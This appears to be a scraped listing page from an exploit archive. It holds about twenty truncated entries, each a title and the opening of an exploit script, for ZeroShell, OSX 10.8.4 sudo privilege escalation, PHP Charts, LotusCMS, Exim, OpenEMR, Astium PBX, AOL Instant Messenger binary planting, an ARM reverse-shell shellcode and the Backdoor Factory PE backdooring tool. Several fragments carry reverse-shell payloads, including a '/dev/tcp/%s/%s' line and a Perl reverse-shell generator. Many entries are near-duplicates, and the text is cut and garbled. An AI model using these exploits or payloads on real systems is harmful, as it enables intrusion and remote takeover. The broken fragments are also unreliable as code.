ZeroShell 'cgi-bin/kerbynet' - Local File Disclosure

Introduction to the PoC : ====================================================================== In this distribution, the managment website is a binary file named "kerbynet" interpreted in cgi-bin directory here : /cdrom/usr/local/apache2/cgi-bin/kerbynet So all url look like this :...

Linux/ARM - reverse_shell (tcp,10.1.1.2,0x1337)

/ Title: Linux/ARM - reverseshelltcp,10.1.1.2,0x1337 execve"/bin/sh", 0, 0 vars - 72 bytes Date: 2012-09-08 Tested on: ARM1176JZF-S v6l - Raspberry Pi Author: midnitesnake / Title: Linux/ARM - reverseshelltcp,10.1.1.2,0x1337 execve"/bin/sh", 0, 0 vars - 72 bytes Date: 2012-09-08 Tested on:...

OSX <= 10.8.4 - Local Root Priv Escalation (py)

No description provided by source. !/usr/bin/python Original MSF Module: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudopasswordbypass.rb Exploit Title: OSX = 10.8.4 Local Root Priv Escalation Root Reverse Shell Date: 08-27-2013 Exploit Author: David...

OSX <= 10.8.4 - Local Root Priv Escalation (py)

Exploit for iOS platform in category local exploits !/usr/bin/python Original MSF Module: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudopasswordbypass.rb Exploit Title: OSX & /dev/tcp/%s/%s...

Apple Mac OSX 10.8.4 - Local Privilege Escalation (Python)

Apple Mac OSX 10.8.4 - Local Privilege Escalation Python !/usr/bin/python Original MSF Module: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudopasswordbypass.rb Exploit Title: OSX & /dev/tcp/%s/%s 0&1 &\n" % ipaddr,port pri...

Mac OS X 10.8.4 Local Privilege Escalation

!/usr/bin/python Original MSF Module: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudopasswordbypass.rb Exploit Title: OSX & /dev/tcp/%s/%s 0&1 &\n" % ipaddr,port...

Apple Mac OSX 10.8.4 - Local Privilege Escalation

!/usr/bin/python Original MSF Module: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudopasswordbypass.rb Exploit Title: OSX & /dev/tcp/%s/%s 0&1 &\n" % ipaddr,port print """...

[The Backdoor Factory] Backdoors win32 PE files

Backdoors win32 PE files, to continue normal file execution if the shellcode supports it, by patching the exe/dll directly. Some executables have built in protections, as such this will not work on all PE files. It is advisable that you test target PE files before deploying them to clients or usi...

ZeroShell 2.0RC2 File Disclosure / Command Execution

Exploit Title: ZeroShell = 2.0RC2 Local file disclosure and Remote Command Execution Date: 13/08/2013 Author: Yann CAM @ Synetis - ASafety Vendor or Software Link: www.zeroshell.org - www.zeroshell.org/download/ Version: 2.0RC2 Category: Local File disclosure and Remote Command Execution Google...

AOL Instant Messenger 8.0.1.5 Binary Planting

!/bin/bash AOL Instant Messenger 8.0.1.5 Jul 2013 Exploit Windows XP/7 tested and working. Leverages binary file planting to My Documents via AIMs advertisement code. Little social engineering built in using javascript to try to get them to run the AIMInstall.exe. Starts a reverse shell back to...

PHP Charts 1.0 Remote Code Execution

!/usr/bin/python Original Advisory came from: http://packetstormsecurity.com/files/119582/PHP-Charts-1.0-Code-Execution.html infodox - insecurety.net import requests import random import threading import sys def genpayloadhost, port: """ Perl Reverse Shell Generator """ load = """perl -e 'use...

LotusCMS 3.0 PHP Code Execution

!/usr/bin/python Script that spawns a reverse shell python on vulnerable LotusCMS 3.0 installations. Uses a simple PHP eval vulnerability. http://secunia.com/secuniaresearch/2011-21/ infodox - Insecurety Research 2013 insecurety.net - @infodox import requests import random import threading import...

LotusCMS 3.0 PHP Code Execution

LotusCMS version 3.0 remote PHP code execution exploit as disclosed in 2011. It spawns a reverse shell. !/usr/bin/python Script that spawns a reverse shell python on vulnerable LotusCMS 3.0 installations. Uses a simple PHP eval vulnerability. http://secunia.com/secuniaresearch/2011-21/ infodox -...

PHP Charts 1.0 Remote Code Execution

This exploit leverages an eval bug in the PHP Charts library allowing for remote code execution. A reverse shell is delivered using Perl. !/usr/bin/python Original Advisory came from: http://packetstormsecurity.com/files/119582/PHP-Charts-1.0-Code-Execution.html infodox - insecurety.net import...

PHP-Charts 1.0 - index.php?type Remote Code Execution

PHP-Charts 1.0 - index.php?type Remote Code Execution !/usr/bin/python Original Advisory came from: http://packetstormsecurity.com/files/119582/PHP-Charts-1.0-Code-Execution.html infodox - insecurety.net import requests import random import threading import sys def genpayloadhost, port: """ Perl...

PHP-Charts 1.0 - 'index.php?type' Remote Code Execution

!/usr/bin/python Original Advisory came from: http://packetstormsecurity.com/files/119582/PHP-Charts-1.0-Code-Execution.html infodox - insecurety.net import requests import random import threading import sys def genpayloadhost, port: """ Perl Reverse Shell Generator """ load = """perl -e 'use...

Exim - 'sender_address' Remote Code Execution

!/usr/bin/env python Exim senderaddress Parameter - Remote Command Execution Exploit Vulnerability found by RedTeam Pentesting GmbH https://www.redteam-pentesting.de/en/advisories/rt-sa-2013-001/ Exploit written by eKKiM http://rdtx.eu/exim-with-dovecot-lda-rce-exploit/ USAGE Edit the PERL REVERS...

OpenEMR 4.1.1 - ofc_upload_image.php Arbitrary File Upload

OpenEMR 4.1.1 - ofcuploadimage.php Arbitrary File Upload ?php / OpenEMR 4.1.1 ofcuploadimage.php Arbitrary File Upload Vulnerability Vendor: OpenEMR Product web page: http://www.open-emr.org Affected version: 4.1.1 Summary: OpenEMR is a Free and Open Source electronic health records and medical...

Astium VoIP PBX 2.1 Remote Root

!/usr/bin/python +--------------------------------------------------------------------------------------------------------------------------------+ Exploit Title : Astium VoIP PBX 0x90.nl Software link :...

Astium VoIP PBX 2.1 build 25399 - Multiple Vulnerabilities/Remote Command Execution

!/usr/bin/python +--------------------------------------------------------------------------------------------------------------------------------+ Exploit Title : Astium VoIP PBX 0x90.nl Software link :...